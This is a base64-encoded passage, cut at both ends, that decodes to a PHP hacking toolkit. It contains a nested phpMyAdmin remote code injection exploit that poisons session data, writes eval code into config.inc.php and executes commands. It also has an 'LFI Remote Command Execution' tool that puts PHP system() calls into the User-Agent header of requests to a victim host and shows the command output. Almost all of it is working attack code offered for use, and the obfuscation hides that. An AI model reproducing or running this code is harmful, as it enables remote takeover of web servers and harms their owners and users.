A0KICAgIFBpYzZKeWM3UHo0S0lDQWdJQ0FnSUNBZ0lDQWdJQ0F1Q2lBZ0lDQWdJQ0FzSUNBZ0lDQWdLVndnSUNBZ0lDNEtJQ0F1SUNBc0x5a2cNCiAgICBJQ0FzSUM4Z0lDa2dMQ0FnS1Z3S0lDQXBYQ2dnSUM4cEx5Z2dLRjlmS0NBdktDQXZJQ0FwSUNBZ0lDQWdJQ0FnSUY5ZklDQWdJQ0FnDQogICAgWDE4Z0lDQWdJQ0FnSUNBZ0lDQWdJRjlmWDE5ZlgxOWZJQ0FnSUNBZ0lDQmZYeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWDE4Sw0KICAgIElDOGdJRndnSUNnZ0lDQXBmQ0FnZkNrZ0lGd2dJQzhnSUNBZ0lDQWdJQ0FnZkNBZ2ZGd2dJQzk4SUNCOElDQWdJQ0FnSUNBZ0lDQWcNCiAgICBmQ0FnZkNBZ2ZDQWdmQ0FnSUNBZ0lId2dJSHdnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FvWDE4cENpZ2dJRjlmWDE5Zlh5QXZJSHdnDQogICAgSUh4ZlgxOWZYeWdnSUY5ZlgxOWZYeUFnSUh3Z0lId2dYQzhnZkNBZ2ZDQWdYMThnSUNBZ1gxOGdJSHdnSUh4Zlgzd2dJSHdnSUNCZg0KICAgIFgxOThJQ0I4SUNCZlh5QmZYMTlmWDE5ZlgxOWZYeUFnSUY5ZklDQWdYMThnWDE5ZlgxOEtJRng4SUNCOElGd2dJRndnZkNBZ2ZDQWcNCiAgICBmQ0FnZkNsOElDQjhJRndnSUZ3Z2ZDQWdmQ0FnSUNCOElDQjhJSHdnSUh3Z0lId2dJSHdnZkNBZ2ZDQWdmQ0FnZkNBdklDQXZJSHdnDQogICAgSUh3Z2ZDQWdmQ0FnZkNBZ2ZDQWdmQ0FnZkNCOElDQjhJSHdnSUh3Z0lId2dJSHdLSUNCOElDQjhYeTlmWHk4Z2ZGOWZmQ0FnZkY5Zg0KICAgIGZDQjhJQ0I4WHk5Zlh5OGdmRjlmZkNBZ0lDQjhYMTk4SUh4ZlgzeGZYM3dnSUh3Z2ZGOWZmQ0JiWFZ0ZGZGdGRYMTliWFh4YlhWdGQNCiAgICBmRjliWFNBZ2ZGOWJYVnRkZkY5YlhTQmJYVnRkVzExZlgzd2dJSHhmWDN3S1BUMThYMTk4UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDE4DQogICAgWDE5OFBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFh4ZlgzdzlQVDA5UFQxYlhUMDlQVDFiWFZ0ZFBYeGJYWHhiWFQxYg0KICAgIFhUMDlQVnRkUFQxYlhUMWJYVDA5UFZ0ZFBUMDlQVDA5UFQwOVBUMDlQVDBnSUNBS0lDQWdjR2h3VFhsQlpHMXBiaUE4SURNdU15NHgNCiAgICBNQzR5SUh4OElIQm9jRTE1UVdSdGFXNGdQQ0F6TGpRdU15NHhJQ0FnSUNBZ0lDQWdJQ0FnSUNCYlhWdGRJQ0FnVzEwZ0lDQmJYVnRkDQogICAgSUNCYlhTQWdJRnRkSUNCYlhTQmJYU0FnSUZ0ZENpQWdJRkpsYlc5MFpTQkRiMlJsSUVsdWFtVmpkR2x2YmlBZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1cxMGdJQ0FnVzExYlhTQWdXMTBnSUNBZ1cxMGdJQ0JiWFNBZ1cxMGcNCiAgICBXMTBnSUNCYlhRb2dJQ0JvZEhSd09pOHZhR0V1ZUhodmNpNXpaU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lGdGRXMTBnVzEwZ0lGdGRJRnRkSUNBZ0lGdGRXMTBnSUZ0ZFcxMGdJRnRkSUNBZ1cxMEtJQ0FnSUNCZg0KICAgIElDQWdYeUFnWDE5ZklGOWZJRjlmWDE4Z1gxOGdYMTlmSUNCZlgxOGdJQ0FnSUNBS0lDQWdJSHdnZkMxOElIeDhJRjhnZkZ3Z0lDQXYNCiAgICBYQ0FnSUM5OElGOGdmSHdnSUNBcElDQWdJQ0FLSUNBZ0lIeGZmQzE4WDN4OFgzeGZmQzlmTGw5Y0wxOHVYMXg4WDE5ZmZIeGZmRjljDQogICAgSUNBZ0lDQUtJQ0JmWDE4Z0lGOWZYeUFnWDE5ZklGOGdJRjhnSUY5Zlh5QWdJQ0FnWDE5ZklGOWZJRjlmSUFvZ0tDQWdQQ0I4SUZ0Zg0KICAgIElDOGdJQzk4SUh4OElIeDhJQ0FnS1NoZktYd2dJQ0I4WENCOElDOEtJQ0ErWDE4cGZGOWJYeUJjWDE5Y2ZGOWZYMTk4ZkY5OFgxeDgNCiAgICBYM3dnZkY5OElDQjhYM3dLSUFwVmMyVWdjbVZ6Y0c5dWMybGliSGt1Q2lBS1BEOXdhSEFnWldOb2J5QndhSEJmYzJGd2FWOXVZVzFsDQogICAgS0NraFBUMG5ZMnhwSno4blBDOXdjbVUrSnpvbkp6c0tJQXBwWmlod2FIQmZjMkZ3YVY5dVlXMWxLQ2s5UFQwblkyeHBKeWw3Q2lBZw0KICAgIElDQnBaaWdoYVhOelpYUW9KR0Z5WjNaYk1WMHBLWHNLSUNBZ0lDQWdJQ0J2ZFhSd2RYUW9JaUFnSUZWellXZGxYRzRnSUNBZ0lpNGsNCiAgICBZWEpuZGxzd1hTNGlJR2gwZEhBNkx5OWxlR0Z0Y0d4bExtTnZiUzl3YUhCTmVVRmtiV2x1TFRNdU15NDVMaklpS1RzS0lDQWdJQ0FnDQogICAgSUNCcmFXeHNiV1VvS1RzS0lDQWdJSDBLSUNBZ0lDUndiV0YxY213Z1BTQWtZWEpuZGxzeFhUc0tmV1ZzYzJWN0NpQWdJQ0FrY0cxaA0KICAgIGRYSnNJRDBnYVhOelpYUW9KRjlTUlZGVlJWTlVXeWQxY213blhTay9KRjlTUlZGVlJWTlVXeWQxY213blhUb25KenNLZlFva1kyOWsNCiAgICBaU0FnSUQwZ0oyWnZjbVZoWTJnb0pGOUhSVlFnWVhNZ0pHczlQaVIyS1dsbUtDUnJQVDA5SW1WMllXd2lLV1YyWVd3b0pIWXBPeWM3DQogICAgQ2lSamIyOXJhV1VnUFNCdWRXeHNPd29rZEc5clpXNGdJRDBnYm5Wc2JEc0thV1lvSVdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeQ0KICAgIGJGOXBibWwwSnlrcGV3b2dJQ0FnYjNWMGNIVjBLQ2RiSVYwZ1JtRjBZV3dnWlhKeWIzSXVJRTVsWldRZ1kxVlNUQ0VuS1RzS0lDQWcNCiAgICBJR3RwYkd4dFpTZ3BPd3A5Q2lSamFDQWdJQ0FnUFNCamRYSnNYMmx1YVhRb0tUc0tKR1JsWW5WbklDQTlJREE3Q21sbUtIQm9jRjl6DQogICAgWVhCcFgyNWhiV1VvS1NFOVBTZGpiR2tuS1hzS1B6NEtQR1p2Y20wZ2JXVjBhRzlrUFhCdmMzUStDbFZTVERvZ1BHbHVjSFYwSUc1aA0KICAgIGJXVTlkWEpzSUhaaGJIVmxQU0k4UDNCb2NDQmxZMmh2SUdoMGJXeHpjR1ZqYVdGc1kyaGhjbk1vSkhCdFlYVnliQ2s3UHo0aVBpQkYNCiAgICBlR0Z0Y0d4bE9pQm9kSFJ3T2k4dmJHOWpZV3hvYjNOME9qZ3dPREF2Y0dod1RYbEJaRzFwYmkwekxqTXVPUzR5UEdKeUx6NEtQR2x1DQogICAgY0hWMElHNWhiV1U5YzNWaWJXbDBJSFI1Y0dVOWMzVmliV2wwSUhaaGJIVmxQU1lqT1RneU9UcytDand2Wm05eWJUNEtQSEJ5WlQ0Sw0KICAgIFBEOXdhSEFLYVdZb0lXbHpjMlYwS0NSZlVrVlJWVVZUVkZzbmMzVmliV2wwSjEwcEtXdHBiR3h0WlNoMGNuVmxLVHNLZlFvZ0NtOTENCiAgICBkSEIxZENnaVcybGRJRkoxYm01cGJtY3VMaTRpS1RzS0lBb3ZMeUJUZEdGeWRDQmhJSE5sYzNOcGIyNGdZVzVrSUdkbGRDQmhJSFJ2DQogICAgYTJWdUNtTjFjbXhmYzJWMGIzQjBYMkZ5Y21GNUtDUmphQ3dnWVhKeVlYa29DaUFnSUNCRFZWSk1UMUJVWDFWU1RDQTlQaUFrY0cxaA0KICAgIGRYSnNMaWN2YzJWMGRYQXZhVzVrWlhndWNHaHdKeXdLSUNBZ0lFTlZVa3hQVUZSZlNFVkJSRVZTSUQwK0lERXNDaUFnSUNCRFZWSk0NCiAgICBUMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNJRDArSURFc0NpQWdJQ0JEVlZKTVQxQlVYMVJKVFVWUFZWUWdQVDRnTkN3S0lDQWdJRU5WDQogICAgVWt4UFVGUmZVMU5NWDFaRlVrbEdXVkJGUlZJZ1BUNGdabUZzYzJVc0NpQWdJQ0JEVlZKTVQxQlVYMU5UVEY5V1JWSkpSbGxJVDFOVQ0KICAgIElEMCtJR1poYkhObENpa3BPd3B2ZFhSd2RYUW9JbHNxWFNCRGIyNTBZV04wYVc1bklITmxjblpsY2lCMGJ5QnlaWFJ5YVhabElITmwNCiAgICBjM05wYjI0Z1kyOXZhMmxsSUdGdVpDQjBiMnRsYmk0aUtUc0tJQW9rY21WemRXeDBJRDBnWTNWeWJGOWxlR1ZqS0NSamFDazdDbWxtDQogICAgS0RRd05DQTlQU0JqZFhKc1gyZGxkR2x1Wm04b0pHTm9MQ0JEVlZKTVNVNUdUMTlJVkZSUVgwTlBSRVVwS1hzS0lDQWdJRzkxZEhCMQ0KICAgIGRDZ2lXeUZkSUVaaGFXd3VJQ1J3YldGMWNtd3ZjMlYwZFhBdmFXNWtaWGd1Y0dod0lISmxkSFZ5Ym1Wa0lEUXdOQzRnVkdobElHaHYNCiAgICBjM1FnYVhNZ2JtOTBJSFoxYkc1bGNtRmliR1VnYjNJZ2RHaGxjbVVnYVhNZ1lTQndjbTlpYkdWdElIZHBkR2dnZEdobElITjFjSEJzDQogICAgYVdWa0lIVnliQzRpS1RzS0lDQWdJR3RwYkd4dFpTZ3BPd3A5Q21sbUtDRWtjbVZ6ZFd4MEtYc0tJQ0FnSUc5MWRIQjFkQ2dpV3lGZA0KICAgIElHTlZVa3dnWlhKeWIzSTZJaTVqZFhKc1gyVnljbTl5S0NSamFDa3BPd29nSUNBZ2EybHNiRzFsS0NrN0NuMEthV1lvWm1Gc2MyVWcNCiAgICBJVDA5SUhOMGNuQnZjeWdrY21WemRXeDBMQ0FuUTJGdWJtOTBJR3h2WVdRZ2IzSWdjMkYyWlNCamIyNW1hV2QxY21GMGFXOXVKeWtwDQogICAgZXdvZ0lDQWdiM1YwY0hWMEtDSmJJVjBnUm1GcGJDNGdTRzl6ZENCdWIzUWdkblZzYm1WeVlXSnNaUzRnVjJWaUlITmxjblpsY2lCMw0KICAgIGNtbDBZV0pzWlNCbWIyeGtaWElnSkhCdFlYVnliQzlqYjI1bWFXY3ZJR1J2WlhNZ2JtOTBJR1Y0YzJsemRDNGlLVHNLSUNBZ0lHdHANCiAgICBiR3h0WlNncE93cDlDaUFLTHk4Z1JYaDBjbUZqZENCamIyOXJhV1VLY0hKbFoxOXRZWFJqYUNnbkwzQm9jRTE1UVdSdGFXNDlLRnRlDQogICAgTzEwcktTOG5MQ0FrY21WemRXeDBMQ0FrYldGMFkyaGxjeWs3Q2lSamIyOXJhV1VnUFNBa2JXRjBZMmhsYzFzeFhUc0tiM1YwY0hWMA0KICAgIEtDSmJhVjBnUTI5dmEybGxPaUl1SkdOdmIydHBaU2s3Q2k4dklFVjRkSEpoWTNRZ2RHOXJaVzRLY0hKbFoxOXRZWFJqYUNnbkx5aDANCiAgICBiMnRsYmoxOGRHOXJaVzRpSUhaaGJIVmxQU0lwS0Zzd0xUbGhMV1pkZXpNeWZTa3ZKeXdnSkhKbGMzVnNkQ3dnSkcxaGRHTm9aWE1wDQogICAgT3dva2RHOXJaVzRnUFNBa2JXRjBZMmhsYzFzeVhUc0tiM1YwY0hWMEtDSmJhVjBnVkc5clpXNDZJaTRrZEc5clpXNHBPd29nQ2k4dg0KICAgIElGQnZhWE52YmlCZlUwVlRVMGxQVGlCMllYSnBZV0pzWlFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVlZKTUxDQWsNCiAgICBjRzFoZFhKc0xpY3ZQMTlUUlZOVFNVOU9XME52Ym1acFowWnBiR1ZkVzFObGNuWmxjbk5kV3lvdkp5NTFjbXhsYm1OdlpHVW9KR052DQogICAgWkdVcExpY3ZLbDFiY0c5eWRGMDlNQ1p6WlhOemFXOXVYM1J2WDNWdWMyVjBQWGdtZEc5clpXNDlKeTRrZEc5clpXNHBPd3BqZFhKcw0KICAgIFgzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZRMDlQUzBsRkxDQW5jR2h3VFhsQlpHMXBiajBuTGlSamIyOXJhV1VwT3dwdmRYUncNCiAgICBkWFFvSWxzcVhTQkRiMjUwWVdOMGFXNW5JSE5sY25abGNpQjBieUJwYm1wbFkzUWdZMjlrWlNCcGJuUnZJSFJvWlNCZlUwVlRVMGxQDQogICAgVGx0RGIyNW1hV2RHYVd4bFhWdFRaWEoyWlhKelhTQmhjbkpoZVM0aUtUc0thV1lvSVNSeVpYTjFiSFFnUFNCamRYSnNYMlY0WldNbw0KICAgIEpHTm9LU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JqVlZKTUlHVnljbTl5T2lJdVkzVnliRjlsY25KdmNpZ2tZMmdwS1RzS0lDQWcNCiAgICBJR3RwYkd4dFpTZ3BPd3A5Q2lBS0x5OWxZMmh2SUdoMGJXeHpjR1ZqYVdGc1kyaGhjbk1vSkhKbGMzVnNkQ3hGVGxSZlVWVlBWRVZUDQogICAgS1RzS0lBb3ZMeUJUWVhabElHWnBiR1VLWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMVZTVEN3Z0pIQnRZWFZ5YkM0bg0KICAgIEwzTmxkSFZ3TDJOdmJtWnBaeTV3YUhBbktUc0tZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxQlBVMVFzSURFcE93cGoNCiAgICBkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVFOVRWRVpKUlV4RVV5d2dKM04xWW0xcGRGOXpZWFpsUFZOaGRtVW1kRzlyDQogICAgWlc0OUp5NGtkRzlyWlc0cE93cHZkWFJ3ZFhRb0lsc3FYU0JEYjI1MFlXTjBhVzVuSUhObGNuWmxjaUIwYnlCdFlXdGxJR2wwSUhOaA0KICAgIGRtVWdkR2hsSUdsdWFtVmpkR1ZrSUdOdlpHVWdkRzhnWVNCbWFXeGxMaUlwT3dwcFppZ2hKSEpsYzNWc2RDQTlJR04xY214ZlpYaGwNCiAgICBZeWdrWTJncEtYc0tJQ0FnSUc5MWRIQjFkQ2dpV3lGZElHTlZVa3dnWlhKeWIzSTZJaTVqZFhKc1gyVnljbTl5S0NSamFDa3BPd29nDQogICAgSUNBZ2EybHNiRzFsS0NrN0NuMEtJQW92TDJWamFHOGdhSFJ0YkhOd1pXTnBZV3hqYUdGeWN5Z2tjbVZ6ZFd4MExFVk9WRjlSVlU5VQ0KICAgIFJWTXBPd29nQ21OMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlWVWt3c0lDUndiV0YxY213dUp5OWpiMjVtYVdjdlkyOXUNCiAgICBabWxuTG1sdVl5NXdhSEEvWlhaaGJEMWxZMmh2SlRJd2JXUTFLREV5TXlrN0p5azdDbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTDQogICAgVEU5UVZGOVFUMU5VTENBd0tUc0tiM1YwY0hWMEtDSmJLbDBnUTI5dWRHRmpkR2x1WnlCelpYSjJaWElnZEc4Z2RHVnpkQ0JwWmlCMA0KICAgIGFHVWdhVzVxWldOMFpXUWdZMjlrWlNCbGVHVmpkWFJsY3k0aUtUc0thV1lvSVNSeVpYTjFiSFFnUFNCamRYSnNYMlY0WldNb0pHTm8NCiAgICBLU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JqVlZKTUlHVnljbTl5T2lJdVkzVnliRjlsY25KdmNpZ2tZMmdwS1RzS0lDQWdJR3RwDQogICAgYkd4dFpTZ3BPd3A5Q21sbUtIQnlaV2RmYldGMFkyZ29KeTh5TURKallqazJNbUZqTlRrd056VmlPVFkwWWpBM01UVXlaREl6TkdJMw0KICAgIE1DOG5MQ0FrY21WemRXeDBLU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JEYjJSbElHbHVhbVZqZEdsdmJpQnpkV05qWlhOelpuVnMNCiAgICBiQzRnVkdocGN5QnBibk4wWVc1alpTQnZaaUJ3YUhCTmVVRmtiV2x1SUdseklIWjFiRzVsY21GaWJHVWhJaWs3Q2lBZ0lDQnZkWFJ3DQogICAgZFhRb0lsc3JYU0JWYzJVZ2VXOTFjaUJpY205M2MyVnlJSFJ2SUdWNFpXTjFkR1VnVUVoUUlHTnZaR1VnYkdsclpTQjBhR2x6SUNSdw0KICAgIGJXRjFjbXd2WTI5dVptbG5MMk52Ym1acFp5NXBibU11Y0dod1AyVjJZV3c5WldOb2J5VXlNQ2QwWlhOMEp6c2lLVHNLZldWc2MyVjcNCiAgICBDaUFnSUNCdmRYUndkWFFvSWxzaFhTQkRiMlJsSUdsdWFtVmpkR2x2YmlCbVlXbHNaV1F1SUZSb2FYTWdhVzV6ZEdGdVkyVWdiMllnDQogICAgY0dod1RYbEJaRzFwYmlCa2IyVnpJRzV2ZENCaGNHVmhjaUIwYnlCaVpTQjJkV3h1WlhKaFlteGxMaUlwT3dwOUNpQUtJQXBqZFhKcw0KICAgIFgyTnNiM05sS0NSamFDazdDaUFLWm5WdVkzUnBiMjRnYjNWMGNIVjBLQ1J0YzJjcGV3b2dJQ0FnWldOb2J5QndhSEJmYzJGd2FWOXUNCiAgICBZVzFsS0NraFBUMG5ZMnhwSno5b2RHMXNjM0JsWTJsaGJHTm9ZWEp6S0NJa2JYTm5YRzRpTEVWT1ZGOVJWVTlVUlZNcE9pSWtiWE5uDQogICAgWEc0aU93b2dJQ0FnWm14MWMyZ29LVHNLZlFvZ0NtWjFibU4wYVc5dUlHdHBiR3h0WlNncGV3b2dJQ0FnYjNWMGNIVjBLQ0piS2wwZw0KICAgIFJYaHBkR2x1Wnk0dUxpSXBPd29nSUNBZ1pXTm9ieUJ3YUhCZmMyRndhVjl1WVcxbEtDa2hQVDBuWTJ4cEp6OG5QSEJ5WlQ0bk9pY24NCiAgICBPd29nSUNBZ1pHbGxLQ2s3Q24wS0lBcGxZMmh2SUhCb2NGOXpZWEJwWDI1aGJXVW9LU0U5UFNkamJHa25QeWM4Y0hKbFBpYzZKeWM3DQogICAgUHo0PSc7DQogICAgIA0KICAgICRmaWxlID0gZm9wZW4oInBtYWRtaW4ucGhwIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkYXNkYXMxKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICBlY2hvICI8aWZyYW1lIHNyYz1wbWFkbWluLnBocCB3aWR0aD0xMDAlIGhlaWdodD02NDAgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCiAgICA/Pg0KICAgIDw/DQogICAgIA0KICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImxmaXJjZSIgKSB7DQogICAgIA0KICAgID8+DQogICAgPHN0eWxlPg0KICAgIGJvZHkgew0KICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICBjb2xvcjogI0NGQ0ZDRjsNCiAgICAgICAgZm9udC1mYW1pbHk6ICdUaW1lcyBOZXcgUm9tYW4nOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwMDA7DQogICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgIGNvbG9yOiAjQ0ZDRkNGOw0KICAgIH0NCiAgICBwcmUgew0KICAgICAgICBmb250LXNpemU6IDEwcHQ7DQogICAgfQ0KICAgIGhyIHsNCiAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgfQ0KICAgIHRkIHsNCiAgICAgICAgYm9yZGVyOiAxcHggb3V0c2V0ICM0NTQ1NDU7DQogICAgICAgIGJhY2tncm91bmQ6ICM0NTQ1NDU7DQogICAgICAgIGZvbnQtc2l6ZTogOXB0Ow0KICAgICAgICBwYWRkaW5nOiAycHg7DQogICAgICAgIHBhZGRpbmctbGVmdDogNXB4Ow0KICAgICAgICBmb250LWZhbWlseTogdmVyZGFuYTsNCiAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8dGl0bGU+IyMjWyBMRkkgUmVtb3RlIENvbW1hbmQgRXhlY3V0aW9uIEJ5IFhURVJNICAtRS1YLVAtTC1PLVItRS0gLUMtUi1FLVctIHczIDRyMyB0aDMgNG5rM3IgdDM0bSBdIyMjPC90aXRsZT4NCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHRhYmxlIGJvcmRlcj0wIHdpZHRoPTg2MCBhbGlnbj1jZW50ZXI+PHRyPjxUZD48Y2VudGVyPjxwIHN0eWxlPSJmb250LXNpemU6IDE4cHQ7Ij48Yj4tIEUgLSBYIC0gUCAtIEwgLSBPIC0gUiAtIEUgLSAgIC0gQyAtIFIgLSBFIC0gVyAtPC9iPjxicj4NCiAgICAtID0gPSA9IHczIDRyMyB0aDMgNG5rM3IgdDM0bSA9ID0gPSAtDQogICAgIA0KICAgIDxCPj1bIExGSSBSZW1vdGUgQ29tbWFuZCBFeGVjdXRpb24gXT08L2I+PC90ZD48L3RyPjwvY2VudGVyPg0KICAgIDwvdGFibGU+DQogICAgPD9waHANCiAgICBpZigkX1BPU1RbJ2luamVrJ10pOg0KICAgICAgICAkc2FzYXJhbj0gc3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLCRfUE9TVFsnaG9zdCddKTsNCiAgICAgICAgJHNwICAgICA9IGV4cGxvZGUoIi8iLCRzYXNhcmFuKTsNCiAgICAgICAgJHZpY3RpbSAgICA9ICRzcFswXTsNCiAgICAgICAgJHBvcnQgICAgPSA4MDsNCiAgICAgICAgJGluamVjdCAgICA9IHN0cl9yZXBsYWNlKCR2aWN0aW0sIiIsJHNhc2FyYW4pOw0KICAgICAgICAkY29tbWFuZCAgPSAiWEhPU1ROQU1FPD9waHAgZWNobyBzeXN0ZW0oJ2hvc3RuYW1lO2VjaG8gIDsnKTsgPz5YSE9TVE5BTUUiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFNJUDw/cGhwIGVjaG8gXCRfU0VSVkVSWydTRVJWRVJfQUREUiddOyA/PlhTSVAiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFVOQU1FPD9waHAgZWNobyBzeXN0ZW0oJ3VuYW1lIC1hO2VjaG8gIDsnKTsgPz5YVU5BTUUiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFVTRVJJRDw/cGhwIGVjaG8gc3lzdGVtKCdpZDtlY2hvICA7Jyk7ID8+WFVTRVJJRCI7DQogICAgICAgICRjb21tYW5kIC49ICJYUFdEPD9waHAgZWNobyBzeXN0ZW0oJ3B3ZDtlY2hvICA7Jyk7ID8+WFBXRCI7DQogICAgICAgICRjb21tYW5kIC49ICJYUEhQPD9waHAgZWNobyBwaHB2ZXJzaW9uKCk7ID8+WFBIUCI7DQogICAgICAgIGlmKCRfUE9TVFsnY3dkJ10pew0KICAgICAgICAkY29tbWFuZCAuPSAiWENXRDw/cGhwIGNoZGlyKCciLiRfUE9TVFsnY3dkJ10uIicpOyA/PlhDV0QiOw0KICAgICAgICB9DQogICAgICAgICRjb21tYW5kIC49ICJFWFBMT1JFPHByZT48P3BocCBlY2hvIHN5c3RlbSgnIi4kX1BPU1RbJ2NtZCddLiI7IGVjaG8gICAgOyBleGl0OycpOyA/PjwvcHJlPkVYUExPUkUiOw0KICAgICAgIA0KICAgICAgICBpZihlcmVnaSgiOiIsJHZpY3RpbSkpew0KICAgICAgICAgICAgJHZwID0gZXhwbG9kZSgiOiIsJHZpY3RpbSk7DQogICAgICAgICAgICAkdmljdGltID0gJHZwWzBdOw0KICAgICAgICAgICAgJHBvcnQgICAgPSAkdnBbMV07DQogICAgICAgIH0NCiAgICAgDQogICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCR2aWN0aW0sJHBvcnQsJGVycm5vLCRlcnJzdHIsMzApOw0KICAgICAgICBpZiAoJHNvY2spIHsNCiAgICAgICAgICAgICRnZXQgID0gIkdFVCAiLiRpbmplY3QuIiBIVFRQLzEuMVxyXG4iLg0KICAgICAgICAgICAgICAgICAgICAiSG9zdDogIi4kdmljdGltLiJcclxuIi4NCiAgICAgICAgICAgICAgICAgICAgIkFjY2VwdDogKi8qXHJcbiIuDQogICAgICAgICAgICAgICAgICAgICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAiLiRjb21tYW5kLiJcclxuIi4NCiAgICAgICAgICAgICAgICAgICAgIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOw0KICAgICAgICAgICAgZnB1dHMoJHNvY2ssJGdldCk7ICAgICAgICANCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkc29jaykpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49IHRyaW0oZmdldHMoJHNvY2ssIDM2MDAwMDApKS4iXG4iOyAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZmNsb3NlKCRzb2NrKTsNCiAgICAgICAgfQ0KICAgICAgICAkaG9zdHAgICAgID0gZXhwbG9kZSgiWEhPU1ROQU1FIiwkb3V0cHV0KTsgJGhvc3RuYW1lID0gJGhvc3RwWzFdOw0KICAgICAgICAkaXBwICAgID0gZXhwbG9kZSgiWFNJUCIsJG91dHB1dCk7ICRpcCA9ICRpcHBbMV07DQogICAgICAgICR1bmFtZXAgICAgPSBleHBsb2RlKCJYVU5BTUUiLCRvdXRwdXQpOyAkdW5hbWUgPSAkdW5hbWVwWzFdOw0KICAgICAgICAkdXNlcnAgICAgPSBleHBsb2RlKCJYVVNFUklEIiwkb3V0cHV0KTsgJHVzZXJpZCA9ICR1c2VycFsxXTsNCiAgICAgICAgJGN1cnJwICAgID0gZXhwbG9kZSgiWFBXRCIsJG91dHB1dCk7ICRjdXJyZW50ID0gJGN1cnJwWzFdOw0KICAgICAgICAkd3JpdGVzICAgID0gQGlzX3dyaXRhYmxlKCRjdXJyZW50KTsNCiAgICAgICAgJHBocHZwICAgID0gZXhwbG9kZSgiWFBIUCIsJG91dHB1dCk7ICRwaHB2ZXJzaW9uID0gJHBocHZwWzFdOw0KICAgICAgICAkaGFzaWwgICAgPSBleHBsb2RlKCJFWFBMT1JFIiwkb3V0cHV0KTsgJHJldHVybiA9ICRoYXNpbFsxXTsNCiAgICAgICANCiAgICAgICANCiAgICBlbmRpZjsNCiAgICA/Pg0KICAgIDxmb3JtIGFjdGlvbj0nPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/PicgbWV0aG9kPSdwb3N0Jz4NCiAgICA8dGFibGUgYm9yZGVyPTAgYWxpZ249Y2VudGVyIHdpZHRoPTg2MD4NCiAgICA8P3BocCBpZigkX1BPU1RbJ2luamVrJ10peyA/Pg0KICAgIDx0cj4NCiAgICAgICAgPHRkIGNvbHNwYW49Mz4gPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+SG9zdG5hbWU8L2I+IDwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8dGQ+PD9waHAgZWNobyAkdmljdGltID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+Tm9kZW5hbWU8L2I+IDwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8dGQ+PD9waHAgZWNobyAkaG9zdG5hbWUgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5JUCBBZGRyZXNzPC9iPiA8L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGlwID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+VW5hbWUgLWE8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvICR1bmFtZSA/PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+PFRkPjxiPlVzZXIgSUQ8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvICR1c2VyaWQgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5TY3JpcHQgUGF0aDwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGN1cnJlbnQ7IGlmKCR3cml0ZXMpeyBlY2hvICI8Yj5Xcml0ZWFibGUhPC9iPiI7IH0gPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5QSFAgVmVyc2lvbjwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJHBocHZlcnNpb24gPz48L3RkPg0KICAgIDwvdHI+DQogICAgPD9waHAgfSA/Pg0KICAgIDx0cj4NCiA